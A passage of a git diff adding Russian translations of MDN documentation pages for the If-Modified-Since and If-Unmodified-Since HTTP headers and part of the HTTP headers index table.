+ <dt>&lt;day&gt;</dt>
+ <dd>День (2 цифры), например, "04" или "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>Название месяца ("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec") с учётом регистра.</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>Год (4 цифры), например, "1990" или "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>Час (2 цифры), например, "09" или "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>Минута (2 цифры), например, "04" или "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>Секунда (2 цифры), например, "04" or "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>Среднее время по Гринвичу (Greenwich Mean Time). HTTP даты всегда представлены как GMT время и никогда как локальное.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "If-Modified-Since", "3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">Таблица совместимости на этой страницы была сгенерирована из структурированных данных. Если вы хотите внести свой вклад в эти данные, то можете склонировать соответствующий репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и прислать нам пулл-реквест.</p>
+
+<p>{{Compat("http/headers/if-modified-since")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("ETag")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-since")}}</li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/if-unmodified-since/index.html b/files/ru/web/http/заголовки/if-unmodified-since/index.html
new file mode 100644
index 0000000000..c451f97a4d
--- /dev/null
+++ b/files/ru/web/http/заголовки/if-unmodified-since/index.html
@@ -0,0 +1,103 @@
+---
+title: If-Unmodified-Since
+slug: Web/HTTP/Заголовки/If-Unmodified-Since
+tags:
+  - HTTP
+  - Заголовок HTTP
+  - Справка
+  - заголовок запроса
+translation_of: Web/HTTP/Headers/If-Unmodified-Since
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP-заголовок запроса <code><strong>If-Unmodified-Since</strong></code> делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменен после указанной даты. Если запрос был изменен после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.</p>
+
+<p>Существует два распространенных варианта использования:</p>
+
+<ul>
+ <li>В сочетании с другими {{Glossary("safe", "небезопасными")}} методами, такими как {{HTTPMethod("POST")}}, он может использоваться для реализации <a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic concurrency control</a>, например, сделанного некоторыми вики-версиями: выпуски отклоняются, если сохраненный документ был изменен с момента восстановления оригинала.</li>
+</ul>
+</div>
+
+<ul>
+ <li>В сочетании с запросом диапазона с {{HTTPHeader("If-Range")}} его можно использовать для обеспечения того, чтобы новый фрагмент запрашивался из немодифицированного документа.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Request header", "Заголовок запроса")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}}</th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">If-Unmodified-Since: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2 digit day number, e.g. "04" or "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4 digit year number, e.g. "1990" or "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2 digit hour number, e.g. "09" or "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2 digit minute number, e.g. "04" or "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2 digit second number, e.g. "04" or "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "If-Unmodified-Since", "3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/if-unmodified-since")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Last-Modified")}}</li>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/index.html b/files/ru/web/http/заголовки/index.html
new file mode 100644
index 0000000000..41c24031f8
--- /dev/null
+++ b/files/ru/web/http/заголовки/index.html
@@ -0,0 +1,573 @@
+---
+title: Заголовки HTTP
+slug: Web/HTTP/Заголовки
+tags:
+  - HTTP
+  - Заголовки
+translation_of: Web/HTTP/Headers
+---
+<p>{{ HTTPSidebar }}</p>
+
+<p><span class="seoSummary"><strong>Заголовки HTTP </strong>позволяют клиенту и серверу отправлять дополнительную информацию с HTTP запросом или ответом. В HTTP-заголовке содержится не чувствительное к регистру название, а затем после (<code>:</code>) непостредственно значение.</span> <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/Whitespace">Пробелы</a> перед значением игнорируются.</p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Пользовательские собственные заголовки исторически использовались с префиксом X, но это соглашение было объявлено устаревшим в июне 2012 года из-за неудобств, вызванных тем, что нестандартные поля стали стандартом в </span></span> <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a><span class="tlid-translation translation" lang="ru"><span title="">;</span> <span title="">другие перечислены в реестре <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA</a>, исходное содержимое которого было определено в </span></span> <a class="external external-icon" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>.<span class="tlid-translation translation" lang="ru"><span title=""> IANA также поддерживает <a href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">реестр предлагаемых новых заголовков HTTP</a>.</span></span></p>
+
+<p>HTTP-заголовки сопровождают обмен данными по протоколу HTTP. Они могут содержать описание данных и информацию, необходимую для взаимодействия между клиентом и сервером. Заголовки и их статусы перечислены в <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">реестре IANA</a>, который постоянно обновляется.</p>
+
+<p>Заголовки могут быть сгруппированы по следующим контекстам:</p>
+
+<ul>
+ <li>{{Glossary("General header", "Основные заголовки")}} <span class="tlid-translation translation" lang="ru"><span title="">применяется как к запросам, так и к ответам, но не имеет отношения к данным, передаваемым в теле.</span></span></li>
+ <li>{{Glossary("Заголовок запроса", "Заголовки запроса")}} <span class="tlid-translation translation" lang="ru"><span title="">содержит больше информации о ресурсе, который нужно получить, или о клиенте, запрашивающем ресурс</span></span>.</li>
+ <li>{{Glossary("Response header", "Заголовки ответа")}} <span class="tlid-translation translation" lang="ru"><span title="">содержат дополнительную информацию об ответе, например его местонахождение, или о сервере, предоставившем его.</span></span></li>
+ <li>{{Glossary("Entity header", "Заголовки сущности")}} <span class="tlid-translation translation" lang="ru"><span title="">содержат информацию о теле ресурса, например его </span></span><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Length">длину содержимого </a>или тип <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/SVG/Content_type">MIME</a>.</li>
+</ul>
+
+<p>Заголовки также могут быть сгруппированы согласно тому, как <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/Proxy_server">прокси (proxies)</a> обрабатывают их:</p>
+
+<ul>
+ <li>{{ httpheader("Connection") }}</li>
+ <li>{{ httpheader("Keep-Alive") }}</li>
+ <li>{{ httpheader("Proxy-Authenticate") }}</li>
+ <li>{{ httpheader("Proxy-Authorization") }}</li>
+ <li>{{ httpheader("TE") }}</li>
+ <li>{{ httpheader("Trailer") }}</li>
+ <li>{{ httpheader("Transfer-Encoding") }}</li>
+ <li>{{ httpheader("Upgrade") }}.</li>
+</ul>
+
+<p><strong>Сквозные заголовки</strong><br>
+      Эти заголовки должны быть переданы конечному получателю сообщения: серверу для запроса или клиенту для ответа. Промежуточные прокси-серверы должны повторно передавать эти заголовки без изменений, а кэши должны их хранить.</p>
+
+<p><strong>Хоп-хоп заголовки (Хоп-хоп заголовки)</strong><br>
+      Эти заголовки имеют смысл только для одного соединения транспортного уровня и не должны повторно передаваться прокси или кэшироваться. Обратите внимание, что с помощью общего заголовка {{httpheader ("Connection")}} могут быть установлены только заголовки переходов.</p>
+
+<h2 id="Аутентификация">Аутентификация</h2>
+
+<dl>
+</dl>
+
+<p><br>
+ <strong>{{HTTPHeader("WWW-Authenticate")}}</strong><br>
+ Определяет метод аутентификации, который должен использоваться для доступа к ресурсу.<br>
+ <strong>{{HTTPHeader ( "Authorization")}}</strong><br>
+ Содержит учетные данные для аутентификации агента пользователя на сервере.<br>
+ <strong>{{HTTPHeader ( "Proxy-Authenticate")}}</strong><br>
+ Определяет метод аутентификации, который должен использоваться для доступа к ресурсам на прокси-сервере.<br>
+ <strong>{{HTTPHeader ( "Proxy-Authorization")}}</strong><br>
+ Содержит учетные данные для аутентификации агента пользователя с прокси-сервером.</p>
+
+<p>Ниже перечислены основные HTTP заголовки с кратким описанием:</p>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th>Заголовок</th>
+   <th>Описание</th>
+   <th>Подробнее</th>
+   <th>Стандарт</th>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept.3a_header">Accept</a></code></td>
+   <td>Список MIME типов, которые ожидает клиент.</td>
+   <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+   <td>HTTP/1.1</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-CH_header">Accept-CH</a></code>
+    <p>{{non-standard_inline}}</p>
+   </td>
+   <td>Список конфигурационных данных, которые могут быть учтены сервером при выборе соответствующего ответа клиенту.</td>
+   <td><a href="http://igrigorik.github.io/http-client-hints">HTTP Client Hints</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Charset.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept-Charset.3a_header">Accept-Charset</a></code></td>
+   <td>Список кодировок, которые ожидает клиент.</td>
+   <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+   <td>HTTP/1.1</td>
+  </tr>
+  <tr>
+   <td><code>Accept-Features</code></td>
+   <td></td>
+   <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+   <td>RFC 2295, §8.2</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Encoding.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept-Encoding.3a_header">Accept-Encoding</a></code></td>
+   <td>Спиcок форматов сжатия данных, которые поддерживает клиент.</td>
+   <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+   <td>HTTP/1.1</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Language.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Accept-Language.3a_header">Accept-Language</a></code></td>
+   <td>Определяет языковые предпочтения клиента.</td>
+   <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+   <td>HTTP/1.1</td>
+  </tr>
+  <tr>
+   <td><code><a href="/ru/docs/Web/HTTP/Заголовки/Accept-Ranges" title="ru/Accept-Ranges">Accept-Ranges</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Credentials" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Origin" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Origin">Access-Control-Allow-Origin</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Methods" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Methods">Access-Control-Allow-Methods</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Allow-Headers" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Allow-Headers">Access-Control-Allow-Headers</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Max-Age" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Max-Age">Access-Control-Max-Age</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Expose-Header" title="en/HTTP access control#Access-Control-Expose-Header">Access-Control-Expose-Headers</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("2") }}</td>
+   <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Request-Method" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Request-Method">Access-Control-Request-Method</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/HTTP_access_control#Access-Control-Request-Headers" title="https://developer.mozilla.org/En/HTTP_access_control#Access-Control-Request-Headers">Access-Control-Request-Headers</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Age" title="en/Age">Age</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Allow" title="en/Allow">Allow</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>Alternates</code></td>
+   <td></td>
+   <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+   <td>RFC 2295, §8.3</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Authorization" title="en/Authorization">Authorization</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Cache-Control" title="en/Cache-Control">Cache-Control</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/ru/docs/Web/HTTP/Заголовки/Connection" title="ru/Connection">Connection</a></code></td>
+   <td>Определяет, остается ли сетевое соединение открытым после завершения текущей транзакции (запроса).</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding" title="en/Content-Encoding">Content-Encoding</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Language" title="en/Content-Language">Content-Language</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Length" title="en/Content-Length">Content-Length</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Location" title="en/Content-Location">Content-Location</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-MD5" title="en/Content-MD5">Content-MD5</a></code></td>
+   <td></td>
+   <td>{{ unimplemented_inline("232030") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Range" title="en/Content-Range">Content-Range</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy" title="en/Content-Security-Policy">Content-Security-Policy</a></code></td>
+   <td>Реализует механизм защиты от угроз межсайтового выполнения скриптов.</td>
+   <td><a href="/en/Security/CSP">CSP (Content Security Policy)</a></td>
+   <td><a href="http://www.w3.org/TR/CSP2/">W3C Content Security Policy</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Type" title="en/Content-Type">Content-Type</a></code></td>
+   <td>Позволяет клиенту определить MIME тип документа.</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Cookie" title="en/Cookie">Cookie</a></code></td>
+   <td></td>
+   <td></td>
+   <td><a class="external" href="http://www.ietf.org/rfc/rfc2109.txt" title="http://www.ietf.org/rfc/rfc2109.txt">RFC 2109</a></td>
+  </tr>
+  <tr>
+   <td><code>DNT</code></td>
+   <td>With a value of 1, indicates that the user explicitly opts out of any form of online tracking.</td>
+   <td>Supported by Firefox 4, Firefox 5 for mobile, IE9, and a few major companies.</td>
+   <td>{{SpecName("Tracking")}}</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Date" title="en/Date">Date</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/ETag" title="en/ETag">ETag</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Expect" title="en/Expect">Expect</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Expires" title="en/Expires">Expires</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/From" title="en/From">From</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Host" title="en/Host">Host</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Match" title="en/If-Match">If-Match</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Modified-Since" title="en/If-Modified-Since">If-Modified-Since</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-None-Match" title="en/If-None-Match">If-None-Match</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Range" title="en/If-Range">If-Range</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Unmodified-Since" title="en/If-Unmodified-Since">If-Unmodified-Since</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Last-Event-ID" title="en/Last-Event-ID">Last-Event-ID</a></code></td>
+   <td>Содержит идентификатор последнего события полученного клиентом от сервера в предыдущем HTTP запросе. Используется для восстановления синхронизации потока <code>text/event-stream</code>.</td>
+   <td><a href="/en-US/docs/Server-sent_events" title="en/Server-Sent Events">Server-Sent Events</a></td>
+   <td><a class="external" href="http://dev.w3.org/html5/eventsource/" title="http://dev.w3.org/html5/eventsource/">Server-Sent Events spec</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Last-Modified" title="en/Last-Modified">Last-Modified</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Link" title="en/HTTP/Headers/Link">Link</a></code></td>
+   <td>Содержит ссылки на связанные ресурсы и определяет их отношение к отправленному документу.</td>
+   <td>
+    <p>For the <code>rel=prefetch</code> case, see <a href="/en-US/docs/Link_prefetching_FAQ" title="en/Link prefetching FAQ">Link Prefetching FAQ</a></p>
+   </td>
+   <td>
+    <p>Introduced in <a class="external" href="http://tools.ietf.org/html/rfc2068#section-19.6.2.4" title="http://tools.ietf.org/html/rfc2068#section-19.6.2.4">HTTP 1.1's RFC 2068, section 19.6.2.4</a>, it was removed in the final <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616.html" title="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP 1.1 spec</a>, then reintroduced, with some extensions, in <a class="external" href="http://greenbytes.de/tech/webdav/rfc5988.html" title="http://greenbytes.de/tech/webdav/rfc5988.html">RFC 5988</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Location" title="en/Location">Location</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Max-Forwards" title="en/Max-Forwards">Max-Forwards</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>Negotiate</code></td>
+   <td></td>
+   <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+   <td>RFC 2295, §8.4</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/HTTP_access_control#Origin" title="https://developer.mozilla.org/En/HTTP_access_control#Origin">Origin</a></code></td>
+   <td></td>
+   <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td>
+   <td>More recently defined in the <a href="https://fetch.spec.whatwg.org/#http-extensions">Fetch spec</a> (see <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.) Originally defined in <a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Pragma" title="en/Pragma">Pragma</a></code></td>
+   <td></td>
+   <td>for the pragma: nocache value see <a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Proxy-Authenticate" title="en/Proxy-Authenticate">Proxy-Authenticate</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Proxy-Authorization" title="en/Proxy-Authorization">Proxy-Authorization</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTTP/Headers/Range" title="en/Range">Range</a></code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><a href="/ru/docs/Web/HTTP/Заголовки/Referer" title="ru/Referer">Referer</a></code></td>
